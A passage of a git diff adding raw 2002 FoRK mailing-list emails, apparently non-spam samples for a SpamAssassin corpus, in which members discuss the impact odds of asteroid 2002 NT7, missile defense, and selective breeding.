-0400 (EDT) +To: +Subject: Re: Asteroids anyone ? +References: <001301c23359$d8208130$0100a8c0@PETER> +From: Gary Lawrence Murphy +X-Home-Page: http://www.teledyn.com +Organization: TCI Business Innovation through Open Source Computing +Message-Id: +Reply-To: Gary Lawrence Murphy +X-Url: http://www.teledyn.com/ +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: 24 Jul 2002 18:19:29 -0400 + + +Instead of spreading BBC FUD, it's best to go straight to the horse's +mouth: http://neo.jpl.nasa.gov/risk/2002nt7.html + +That said, if you do a comparison with the Google cache page, you'll +see that the probability of impact has increased significantly given +the last three days worth of observations. + +Hit or miss, Groundhog Day 2019 is going to be one heck of a show. +Book early, avoid the rush. + +-- +Gary Lawrence Murphy TeleDynamics Communications Inc +Business Innovations Through Open Source Systems: http://www.teledyn.com +"Computers are useless. They can only give you answers."(Pablo Picasso) + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00872.f9b45695dacc2d0d0939786d76509512 b/bayes/spamham/easy_ham_2/00872.f9b45695dacc2d0d0939786d76509512 new file mode 100644 index 0000000..37da031 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00872.f9b45695dacc2d0d0939786d76509512 @@ -0,0 +1,57 @@ +From fork-admin@xent.com Thu Jul 25 11:09:36 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id A5D52440DF + for ; Thu, 25 Jul 2002 06:08:45 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 25 Jul 2002 11:08:45 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6ONjc415643 for ; + Thu, 25 Jul 2002 00:45:38 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 32374294155; Wed, 24 Jul 2002 16:44:06 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from argote.ch (argote.ch [80.65.224.17]) by xent.com (Postfix) + with ESMTP id 3AD3A29414F for ; Wed, 24 Jul 2002 16:43:18 + -0700 (PDT) +Received: by argote.ch (Postfix, from userid 500) id 522BEC44E; + Thu, 25 Jul 2002 01:31:26 +0200 (CEST) +To: fork@spamassassin.taint.org +Subject: Re: [Baseline] Raising chickens the high-tech way +Message-Id: <20020724233126.522BEC44E@argote.ch> +From: harley@argote.ch (Robert Harley) +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Thu, 25 Jul 2002 01:31:26 +0200 (CEST) + +John Hall spake thusly: +>It has been brought up that a boss no longer marries his secretary. + +Wot, is she not cute??? + + +Re: Asteroids anyone ? + +Not another one. +Hmm... the NASA page gives Impact Probability = 3.9e-06. +One in 250000. +What, me worry? + + +L8r, + R +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00873.591767bb0a3b3c5f3fe4a7b8d712bb6e b/bayes/spamham/easy_ham_2/00873.591767bb0a3b3c5f3fe4a7b8d712bb6e new file mode 100644 index 0000000..f0eee76 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00873.591767bb0a3b3c5f3fe4a7b8d712bb6e @@ -0,0 +1,75 @@ +From fork-admin@xent.com Thu Jul 25 11:09:42 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 21887440E0 + for ; Thu, 25 Jul 2002 06:08:52 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 25 Jul 2002 11:08:52 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6ONoN415772 for ; + Thu, 25 Jul 2002 00:50:23 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 48FAD294162; Wed, 24 Jul 2002 16:46:06 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from magnesium.net (toxic.magnesium.net [207.154.84.15]) by + xent.com (Postfix) with SMTP id 2BB0B294160 for ; + Wed, 24 Jul 2002 16:45:58 -0700 (PDT) +Received: (qmail 27169 invoked by uid 65534); 24 Jul 2002 23:45:58 -0000 +Received: from ppp-192-216-194-113.tstonramp.com ([192.216.194.113]) + (SquirrelMail authenticated user bitbitch) by webmail.magnesium.net with + HTTP; Wed, 24 Jul 2002 16:45:58 -0700 (PDT) +Message-Id: <2784.192.216.194.113.1027554358.squirrel@webmail.magnesium.net> +Subject: Re: Asteroids anyone ? +From: +To: +In-Reply-To: +References: <001301c23359$d8208130$0100a8c0@PETER> + +X-Priority: 3 +Importance: Normal +X-Msmail-Priority: Normal +Cc: +X-Mailer: SquirrelMail (version 1.2.6) +MIME-Version: 1.0 +Content-Type: text/plain; charset=iso-8859-1 +Content-Transfer-Encoding: 8bit +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Wed, 24 Jul 2002 16:45:58 -0700 (PDT) + +> +> Hit or miss, Groundhog Day 2019 is going to be one heck of a show. Book +> early, avoid the rush. + +Hey, meybee by then, Bush's grand plan for a missle defense system will +actually pan out and -work- ... +I'm not holding my breath, but i'm not going to panic for something thats +a little under 17 years away, either. +-c + +> +> -- +> Gary Lawrence Murphy TeleDynamics Communications +> Inc Business Innovations Through Open Source Systems: +> http://www.teledyn.com "Computers are useless. They can only give you +> answers."(Pablo Picasso) +> +> http://xent.com/mailman/listinfo/fork + + + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00874.6bbdd7e5dcf757c14c3fb8779a16f6c2 b/bayes/spamham/easy_ham_2/00874.6bbdd7e5dcf757c14c3fb8779a16f6c2 new file mode 100644 index 0000000..ef78c47 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00874.6bbdd7e5dcf757c14c3fb8779a16f6c2 @@ -0,0 +1,75 @@ +From fork-admin@xent.com Thu Jul 25 11:09:43 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id C2134440D1 + for ; Thu, 25 Jul 2002 06:08:58 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 25 Jul 2002 11:08:58 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6ONsI415985 for ; + Thu, 25 Jul 2002 00:54:19 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 7551D294169; Wed, 24 Jul 2002 16:47:06 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from magnesium.net (toxic.magnesium.net [207.154.84.15]) by + xent.com (Postfix) with SMTP id 8BB61294168 for ; + Wed, 24 Jul 2002 16:46:07 -0700 (PDT) +Received: (qmail 27182 invoked by uid 65534); 24 Jul 2002 23:46:07 -0000 +Received: from ppp-192-216-194-113.tstonramp.com ([192.216.194.113]) + (SquirrelMail authenticated user bitbitch) by webmail.magnesium.net with + HTTP; Wed, 24 Jul 2002 16:46:07 -0700 (PDT) +Message-Id: <2785.192.216.194.113.1027554367.squirrel@webmail.magnesium.net> +Subject: Re: Asteroids anyone ? +From: +To: +In-Reply-To: +References: <001301c23359$d8208130$0100a8c0@PETER> + +X-Priority: 3 +Importance: Normal +X-Msmail-Priority: Normal +Cc: +X-Mailer: SquirrelMail (version 1.2.6) +MIME-Version: 1.0 +Content-Type: text/plain; charset=iso-8859-1 +Content-Transfer-Encoding: 8bit +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Wed, 24 Jul 2002 16:46:07 -0700 (PDT) + +> +> Hit or miss, Groundhog Day 2019 is going to be one heck of a show. Book +> early, avoid the rush. + +Hey, meybee by then, Bush's grand plan for a missle defense system will +actually pan out and -work- ... +I'm not holding my breath, but i'm not going to panic for something thats +a little under 17 years away, either. +-c + +> +> -- +> Gary Lawrence Murphy TeleDynamics Communications +> Inc Business Innovations Through Open Source Systems: +> http://www.teledyn.com "Computers are useless. They can only give you +> answers."(Pablo Picasso) +> +> http://xent.com/mailman/listinfo/fork + + + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00875.88008b119e71ad96444faf3f66f05bee b/bayes/spamham/easy_ham_2/00875.88008b119e71ad96444faf3f66f05bee new file mode 100644 index 0000000..35528f6 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00875.88008b119e71ad96444faf3f66f05bee @@ -0,0 +1,111 @@ +From fork-admin@xent.com Thu Jul 25 11:09:51 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id BCD3E440D9 + for ; Thu, 25 Jul 2002 06:09:13 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 25 Jul 2002 11:09:13 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6P14Z419511 for ; + Thu, 25 Jul 2002 02:04:36 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 6219E29415B; Wed, 24 Jul 2002 18:03:06 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from jamesr.best.vwh.net (jamesr.best.vwh.net [192.220.76.165]) + by xent.com (Postfix) with SMTP id 68ACE294155 for ; + Wed, 24 Jul 2002 18:02:44 -0700 (PDT) +Received: (qmail 48512 invoked by uid 19621); 25 Jul 2002 01:02:38 -0000 +Received: from unknown (HELO avalon) ([64.125.200.18]) (envelope-sender + ) by 192.220.76.165 (qmail-ldap-1.03) with SMTP for + ; 25 Jul 2002 01:02:38 -0000 +Subject: Re: Asteroids anyone ? +From: James Rogers +To: fork@spamassassin.taint.org +In-Reply-To: <2785.192.216.194.113.1027554367.squirrel@webmail.magnesium.net> +References: <001301c23359$d8208130$0100a8c0@PETER> + + <2785.192.216.194.113.1027554367.squirrel@webmail.magnesium.net> +Content-Type: text/plain +Content-Transfer-Encoding: 7bit +X-Mailer: Evolution/1.0.2-5mdk +Message-Id: <1027559672.2056.38.camel@avalon> +MIME-Version: 1.0 +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: 24 Jul 2002 18:14:31 -0700 + +On Wed, 2002-07-24 at 16:46, bitbitch@magnesium.net wrote: +> > +> > Hit or miss, Groundhog Day 2019 is going to be one heck of a show. Book +> > early, avoid the rush. +> +> Hey, meybee by then, Bush's grand plan for a missle defense system will +> actually pan out and -work- ... +> I'm not holding my breath, but i'm not going to panic for something thats +> a little under 17 years away, either. + + +I don't think a ballistic missile defense system will be much help +against a rock a couple thousand kilometers in diameter. That's WAY +outside the design spec for any such system. Particularly when +ballistic intercept designs usually don't have any type of warhead +associated with them, either being kinetic or directed energy weapons. + +Contrary to popular belief, ballistic missile defense isn't a hard +problem (ignoring whether or not it is useful). The only real challenge +is materials science, as it really pushes the envelope of materials +performance requirements to places they've never been; there has been +some technology crossover with some of the new materials and processes +they've had to come up with. The actual discrimination algorithms, +while way more advanced than anything you'll see in the private sector +(and classified, to keep it that way), are usually run on a crusty old +MIPS R3k embedded processor or similar, with a low-to-mid range DSP to +help out. It is not computationally intensive by any means. + +I used to be tangentially involved in various ballistic missile +intercept weapon programs many years ago and am pretty familiar with the +technologies that go into them. Most of the arguments against it from a +technological standpoint are ignorant bullshit, and have lead me to +believe that hardly anyone understands the technical parameters of +ballistic missile intercept. And the arguments that are made without +reference to the capability of the technology are neither particularly +convincing nor conclusive. + +In summary: + +1) Ballistic missile intercept technology is useless on a big rock. You +are much better off using heavy-lift space technology to deliver a big +nuke (or small nuke, depending on your plan). + +2) State-of-the-art ballistic missile intercept technology is far more +competent than most people imagine it is, and has discrimination +capabilities that exceed most popular belief. It better be -- they've +had twenty years to work on it. + +3) I've never heard a really convincing argument against deploying +ballistic missile intercept technology, particularly considering most of +the R&D investment has already been made. I don't really care about it +one way or the other, but I also don't see why other people have fits +over it either. + +Cheers, + +-James Rogers + jamesr@best.com + + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00876.668b933f0dcc4bbbc7bad7255ba2d659 b/bayes/spamham/easy_ham_2/00876.668b933f0dcc4bbbc7bad7255ba2d659 new file mode 100644 index 0000000..3bfdf75 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00876.668b933f0dcc4bbbc7bad7255ba2d659 @@ -0,0 +1,87 @@ +From fork-admin@xent.com Thu Jul 25 11:09:51 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 9D890440D2 + for ; Thu, 25 Jul 2002 06:09:07 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 25 Jul 2002 11:09:07 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6P07Z416420 for ; + Thu, 25 Jul 2002 01:07:35 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 4FD5B29415E; Wed, 24 Jul 2002 17:06:06 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from localhost.localdomain (pm3-8.sba1.netlojix.net + [207.71.218.152]) by xent.com (Postfix) with ESMTP id 8970F29414D for + ; Wed, 24 Jul 2002 17:05:20 -0700 (PDT) +Received: (from dave@localhost) by maltesecat (8.8.7/8.8.7a) id RAA07560; + Wed, 24 Jul 2002 17:06:49 -0700 +Message-Id: <200207250006.RAA07560@maltesecat> +To: fork@spamassassin.taint.org +Subject: Re: [Baseline] Raising chickens the high-tech way +In-Reply-To: Message from fork-request@xent.com of + "Wed, 24 Jul 2002 14:35:03 PDT." + <20020724213503.29233.28244.Mailman@lair.xent.com> +From: Dave Long +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Wed, 24 Jul 2002 17:06:49 -0700 + + + +> > Unless your parents were selectively bred like livestock to produce you, +> > I don't think you can make that case... :-) +> +> I'm saying that my parents selected each other, and that they did so +> because (among other reasons) each wanted the other's genes to be +> mixed with their own in the offspring that they were planning. +> +> What does it matter that they were selecting to produce their own +> offspring, rather than the offspring of two unrelated animals? + +That doesn't matter. What does matter +is that they were going on phenotypes, +and didn't engineer the genetics. That +example makes a good case for natural +selection, but not for artificial. + +(do "married people live longer" because +of the benefits of matrimony, or because +acceptable health is one of the qualities +selected for in spouses?) + +Of course, if there are FoRKs with six +or fewer biological great grandparents +(or who are offspring of Wilt) I should +eat my words; otherwise, the micro/macro +distinction seems much more relevant. + +-Dave + +> I guess that the reason that I disagree is that some groups arguing +> against any checks on genetic engineering use that same argument - +> "we've been doing it since prehistory, so we don't need to apply any +> caution today". + +One can also view that argument as a case +for checks: livestock owners have, over a +period of millenia, altered the genetics +of their herds to be dumber, meatier, and +more tolerant of industrial living, so if +caution is in order, they are some of the +least likely people to volunteer it. +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00877.3b67f6a22857472bb7482123740c4d7d b/bayes/spamham/easy_ham_2/00877.3b67f6a22857472bb7482123740c4d7d new file mode 100644 index 0000000..3f8f5a6 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00877.3b67f6a22857472bb7482123740c4d7d @@ -0,0 +1,64 @@ +From fork-admin@xent.com Thu Jul 25 11:10:00 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 5CB67440D3 + for ; Thu, 25 Jul 2002 06:09:25 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 25 Jul 2002 11:09:25 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6P1LB420129 for ; + Thu, 25 Jul 2002 02:21:11 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id D352729416F; Wed, 24 Jul 2002 18:11:10 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from jamesr.best.vwh.net (jamesr.best.vwh.net [192.220.76.165]) + by xent.com (Postfix) with SMTP id 90873294161 for ; + Wed, 24 Jul 2002 18:10:06 -0700 (PDT) +Received: (qmail 52523 invoked by uid 19621); 25 Jul 2002 01:10:00 -0000 +Received: from unknown (HELO avalon) ([64.125.200.18]) (envelope-sender + ) by 192.220.76.165 (qmail-ldap-1.03) with SMTP for + ; 25 Jul 2002 01:10:00 -0000 +Subject: Re: Asteroids anyone ? +From: James Rogers +To: fork@spamassassin.taint.org +In-Reply-To: <1027559672.2056.38.camel@avalon> +References: <001301c23359$d8208130$0100a8c0@PETER> + + <2785.192.216.194.113.1027554367.squirrel@webmail.magnesium.net> + <1027559672.2056.38.camel@avalon> +Content-Type: text/plain +Content-Transfer-Encoding: 7bit +X-Mailer: Evolution/1.0.2-5mdk +Message-Id: <1027560114.2055.40.camel@avalon> +MIME-Version: 1.0 +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: 24 Jul 2002 18:21:54 -0700 + +On Wed, 2002-07-24 at 18:14, James Rogers wrote: +> I don't think a ballistic missile defense system will be much help +> against a rock a couple thousand kilometers in diameter. + + +Errrr... Or a couple thousand *meters* in diameter either. + +-James Rogers + jamesr@best.com + + + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00878.65feab10927763853bf42c2966f4e96e b/bayes/spamham/easy_ham_2/00878.65feab10927763853bf42c2966f4e96e new file mode 100644 index 0000000..2579f35 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00878.65feab10927763853bf42c2966f4e96e @@ -0,0 +1,49 @@ +From fork-admin@xent.com Thu Jul 25 11:09:57 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 808FD440DA + for ; Thu, 25 Jul 2002 06:09:19 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 25 Jul 2002 11:09:19 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6P1Be419715 for ; + Thu, 25 Jul 2002 02:11:40 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 3E100294167; Wed, 24 Jul 2002 18:10:08 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from argote.ch (argote.ch [80.65.224.17]) by xent.com (Postfix) + with ESMTP id 66633294161 for ; Wed, 24 Jul 2002 18:09:50 + -0700 (PDT) +Received: by argote.ch (Postfix, from userid 500) id 9F58EC44E; + Thu, 25 Jul 2002 02:57:59 +0200 (CEST) +To: fork@spamassassin.taint.org +Subject: Re: Asteroids anyone ? +Message-Id: <20020725005759.9F58EC44E@argote.ch> +From: harley@argote.ch (Robert Harley) +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Thu, 25 Jul 2002 02:57:59 +0200 (CEST) + +James Rogers wrote: +>I don't think a ballistic missile defense system will be much help +>against a rock a couple thousand kilometers in diameter. + +That would destroy Earth completely! The one in question is 2.06 km +(1.28 miles) in diameter. + +R +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00879.d2b09a8069295d82b9a93d43c5de3407 b/bayes/spamham/easy_ham_2/00879.d2b09a8069295d82b9a93d43c5de3407 new file mode 100644 index 0000000..2110ac5 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00879.d2b09a8069295d82b9a93d43c5de3407 @@ -0,0 +1,74 @@ +From fork-admin@xent.com Thu Jul 25 11:10:07 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 3A610440D0 + for ; Thu, 25 Jul 2002 06:09:31 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 25 Jul 2002 11:09:31 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6P1ZY420813 for ; + Thu, 25 Jul 2002 02:35:34 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 1885A29416D; Wed, 24 Jul 2002 18:34:06 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from relay.pair.com (relay1.pair.com [209.68.1.20]) by xent.com + (Postfix) with SMTP id 2DDC9294167 for ; Wed, + 24 Jul 2002 18:33:27 -0700 (PDT) +Received: (qmail 88217 invoked from network); 25 Jul 2002 01:33:26 -0000 +Received: from dsl-64-195-248-145.telocity.com (HELO golden) + (64.195.248.145) by relay1.pair.com with SMTP; 25 Jul 2002 01:33:26 -0000 +X-Pair-Authenticated: 64.195.248.145 +Message-Id: <029a01c2337b$458f5310$640a000a@golden> +From: "Gordon Mohr" +To: +References: <001301c23359$d8208130$0100a8c0@PETER> + <2785.192.216.194.113.1027554367.squirrel@webmail.magnesium.net> + <1027559672.2056.38.camel@avalon> +Subject: Re: Asteroids anyone ? +MIME-Version: 1.0 +Content-Type: text/plain; charset="Windows-1252" +Content-Transfer-Encoding: 7bit +X-Priority: 3 +X-Msmail-Priority: Normal +X-Mailer: Microsoft Outlook Express 6.00.2600.0000 +X-Mimeole: Produced By Microsoft MimeOLE V6.00.2600.0000 +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Wed, 24 Jul 2002 18:33:23 -0700 + +With enough warning, you might not even care about trying to divert +the meteor -- you'd divert the Earth instead. + +I recall reading many years ago about calculations, done separately +both by US and USSR scientists for different reasons, about the +effect of nuclear explosions on the moon's mass, and thus its orbit, +and thus also (over time) the Earth's path around the sun. + +I believe the conclusion was that mild changes in the moon's +composition would have the effect, over several years, of changing +significantly where the Earth would be at any certain future point. + +Voila! No collision -- at least not with the initial threat. And +no need to travel out to anywhere near the meteor, either. Just +the moon. + +- Gordon + + + + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00880.fad8123768f81c5a23c953cd50e49cb2 b/bayes/spamham/easy_ham_2/00880.fad8123768f81c5a23c953cd50e49cb2 new file mode 100644 index 0000000..e03433c --- /dev/null +++ b/bayes/spamham/easy_ham_2/00880.fad8123768f81c5a23c953cd50e49cb2 @@ -0,0 +1,93 @@ +From fork-admin@xent.com Thu Jul 25 11:10:09 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 48E38440D6 + for ; Thu, 25 Jul 2002 06:09:36 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 25 Jul 2002 11:09:36 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6P24Y424328 for ; + Thu, 25 Jul 2002 03:04:35 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 9C9DF29415E; Wed, 24 Jul 2002 19:03:06 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from smtp1.auracom.net (smtp1.auracom.net [165.154.140.23]) by + xent.com (Postfix) with ESMTP id E2EA929415B for ; + Wed, 24 Jul 2002 19:02:15 -0700 (PDT) +Received: from maya.dyndns.org (ts5-022.ptrb.interhop.net + [165.154.190.86]) by smtp1.auracom.net (8.11.2/8.11.2) with ESMTP id + g6P1bRO09254 for ; Wed, 24 Jul 2002 21:37:27 -0400 (EDT) +Received: by maya.dyndns.org (Postfix, from userid 501) id E9DDB1C39A; + Wed, 24 Jul 2002 21:57:12 -0400 (EDT) +To: +Subject: Re: Asteroids anyone ? +References: <001301c23359$d8208130$0100a8c0@PETER> + + <2785.192.216.194.113.1027554367.squirrel@webmail.magnesium.net> + <1027559672.2056.38.camel@avalon> <029a01c2337b$458f5310$640a000a@golden> +From: Gary Lawrence Murphy +X-Home-Page: http://www.teledyn.com +Organization: TCI Business Innovation through Open Source Computing +Message-Id: +Reply-To: Gary Lawrence Murphy +X-Url: http://www.teledyn.com/ +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: 24 Jul 2002 21:57:12 -0400 + +>>>>> "G" == Gordon Mohr writes: + + G> Voila! No collision -- at least not with the initial + G> threat. And no need to travel out to anywhere near the meteor, + G> either. Just the moon. + +Yeah, right. Considering the Genesis project just won an award for +figuring out (surprise, surprise) that N-body problems with 10+ bodies +yield some interesting synergetic surprises ... suffice it to say +that the issue has been hashed over in sci.astro many, many times, +since even long before Hollywood posed the problem, and the very best +advice is still "duck and cover"; if you are still going to nudge +anything, though, I'd nudge the rock (the one the size of a small +town) as you're less likely to re-define global agriculture that way. + +'Course, you're gonna have this problem of distributing the force over +a large enough surface area that it translates into a resillient +compression wave instead of a knifeblade/diamond faultline split. +It's also not a game of billiards, but a 6+ dimensional collision +problem (space, time, spin, temp, maybe electromag too if there's any +heavy metals in it, and there often is) complete with relativistic +effects and everything. Hands up all those with experience subjecting +blackboxed alien geology to sustained forces in excess of 100 megatons +(10% of it's own momentum). I'm going to trust the US Army with this +when they can't even /find/ more than a few hundred Al Queda in a +desert? + +Oh, another problem: It's not the only rock out there. We're just +getting better at spotting them. + +Tell ya what: when you cowboys do get ready to bally-hootin' out to +blow-er-up-real-good, you let me know, eh, so I can move the the next +solar system before you do. + +-- +Gary Lawrence Murphy TeleDynamics Communications Inc +Business Innovations Through Open Source Systems: http://www.teledyn.com +"Computers are useless. They can only give you answers."(Pablo Picasso) + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00881.e72b42b99bd9caf7573f59005c428bd2 b/bayes/spamham/easy_ham_2/00881.e72b42b99bd9caf7573f59005c428bd2 new file mode 100644 index 0000000..80bdfcf --- /dev/null +++ b/bayes/spamham/easy_ham_2/00881.e72b42b99bd9caf7573f59005c428bd2 @@ -0,0 +1,71 @@ +From fork-admin@xent.com Thu Jul 25 11:10:17 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id A93D5440D8 + for ; Thu, 25 Jul 2002 06:09:50 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 25 Jul 2002 11:09:50 +0100 (IST) +Received: from xent.com 